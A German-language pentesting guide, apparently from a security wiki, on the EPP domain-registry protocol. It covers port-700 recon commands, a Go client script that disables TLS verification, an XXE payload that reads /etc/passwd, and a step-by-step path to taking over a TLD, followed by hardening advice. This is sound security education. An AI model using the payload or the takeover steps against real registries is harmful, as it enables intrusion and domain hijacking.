700 - Pentesting EPP

Reading time: 6 minutes

Grundlegende Informationen

Das Extensible Provisioning Protocol (EPP) ist ein Netzwerkprotokoll, das für die Verwaltung von Domainnamen und anderen Internetressourcen durch Domain-Registrierungsstellen und Registrare verwendet wird. Es ermöglicht die Automatisierung von Prozessen zur Registrierung, Erneuerung, Übertragung und Löschung von Domainnamen und gewährleistet einen standardisierten und sicheren Kommunikationsrahmen zwischen verschiedenen Entitäten im Domain Name System (DNS). EPP ist so konzipiert, dass es flexibel und erweiterbar ist, sodass neue Funktionen und Befehle hinzugefügt werden können, während sich die Bedürfnisse der Internetinfrastruktur weiterentwickeln.

Im Grunde genommen ist es eines der Protokolle, die ein TLD-Registrar den Domain-Registraren anbieten wird, um neue Domains in der TLD zu registrieren.

Pentest

In diesem sehr interessanten Artikel können Sie sehen, wie einige Sicherheitsforscher herausfanden, dass mehrere Implementierungen dieses Protokolls anfällig für XXE (XML External Entity) waren, da dieses Protokoll XML zur Kommunikation verwendet, was Angreifern ermöglicht hätte, Dutzende verschiedener TLDs zu übernehmen.

Enumeration & Recon

EPP-Server hören fast immer auf TCP 700/tcp über TLS. Eine typische Bereitstellung erzwingt auch mutual-TLS (mTLS), sodass der Client ein gültiges Zertifikat vorlegen muss, das von der Registry-CA ausgestellt wurde. Dennoch vergessen viele private Test- oder Vorproduktionsbereitstellungen diese Kontrolle:

# Banner-grabbing / TLS inspection
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>

# Check if mTLS is *really* required (it frequently is not!)
openssl s_client -connect <target>:700 -quiet \
-servername epp.test 2>/dev/null | head

Wenn der Server die Verbindung nach dem TLS-Handshake nicht beendet, können Sie versuchen, eine nicht authentifizierte <hello/>-Nachricht zu senden:

<?xml version="1.0" encoding="UTF-8"?>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<hello/>
</epp>

Open-Source-Clients, die für Tests nützlich sind

• epp-client (Go) – aktiv gewartet, unterstützt TCP/TLS und EPP-over-HTTPS (RFC 8730): go install github.com/domainr/epp/cmd/epp@latest
• gandi/go-epp – minimale Client-Bibliothek, die leicht für Fuzzing oder Nuclei-Style-Workflows instrumentiert werden kann.
• afq984/php-epp-client – PHP-Implementierung, die von vielen kleinen Registraren verwendet wird; ein praktisches Ziel für Code-Reviews.

Beispiel für ein minimales Login+Check-Skript mit Go epp-client:

package main
import (
"github.com/domainr/epp"
"crypto/tls"
)

func main() {
cfg := &tls.Config{InsecureSkipVerify: true}
c, _ := epp.DialTLS("epp.test:700", cfg)
c.Login("CLIENT_ID", "PASSWORD", nil)
resp, _ := c.DomainCheck("example","com")
println(resp)
}

Häufige Schwächen & 2023-2025 Schwachstellen

XXE / SSRF Nutzlast (funktioniert gegen viele Java/Spring Implementierungen)

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<command>
<check>
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
<domain:name>&xxe;</domain:name>
</domain:check>
</check>
</command>
</epp>

Wenn der Parser falsch konfiguriert ist (XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true), wird der Dateinhalt innerhalb der <resData>-Struktur zurückgegeben.

Weitere typische Erkenntnisse

1. Schwache Passwortpolitik – EPP-Login-Passphrasen kürzer als 8 Zeichen; Brute-Force ist oft machbar, da die Spezifikation nur eine Ratenbegrenzung EMPFIEHLT (nicht vorschreibt).
2. Fehlender registryLock / serverUpdateProhibited-Status – Nach der Authentifizierung können Angreifer sofort NS-Einträge aktualisieren und Traffic stehlen.
3. Unsignierte Poll-Nachrichten – Einige Implementierungen signieren immer noch keine Poll-Q&A-Nachrichten, was Spoofing/Phishing von Registrar-Betreibern ermöglicht.

Angriffsweg: Vom Nullpunkt zur TLD-Übernahme

1. Entdecken Sie einen EPP-Endpunkt (oft hinter einem generischen Host wie ot&e.<tld>.nic.<cc> versteckt).
2. Missbrauchen Sie eine der oben genannten Schwächen, um Anmeldeinformationen auf Registrar-Ebene zu erlangen (XXE → SSRF zu IMDSv1, Credential-Exfiltration oder TLS-Umgehung).
3. Stellen Sie <update>-Anfragen, um die hostObj-Einträge der Domain auf von Angreifern kontrollierte Nameserver zu ändern.
4. (Optional) Reichen Sie einen <transfer> ein, um die Domain zu einem von Angreifern kontrollierten Registrar zu verschieben – viele Registries verlassen sich immer noch auf einen einzigen Auth-Code.
5. Profit: vollständige Kontrolle über die DNS-Zone, Möglichkeit, TLS-Zertifikate über ACME anzufordern.

Verteidigungsmaßnahmen & Härtung

• Erzwingen Sie mTLS mit pro-Registrar-Client-Zertifikaten und pinnen Sie die Registry-CA.
• Setzen Sie parserFeature secure-processing=true oder Äquivalentes, um XXE zu verhindern.
• Führen Sie kontinuierliches Fuzzing des XML-Parsers durch (z. B. mit go-fuzz oder jazzer für Java).
• Implementieren Sie Registry Lock / server*Prohibited-Status für wertvolle Domains.
• Überwachen Sie die poll-Warteschlange auf verdächtige <transfer>- oder <update>-Befehle und alarmieren Sie in Echtzeit.
• Die ICANN 2024 DNS-Missbrauchsvertragsänderungen erfordern von Registries, Ratenbegrenzungs- und Authentifizierungskontrollen nachzuweisen – nutzen Sie diese.

Referenzen

• ICANN Security and Stability Advisory Committee (SSAC). "SAC118: Konsequenzen des Versagens des Registry-Betreibers bei der Implementierung von EPP-Sicherheitskontrollen". 2024.
• HackCompute – "Hacking EPP-Server: Missbrauch von XXE zur Übernahme von TLDs" (2023).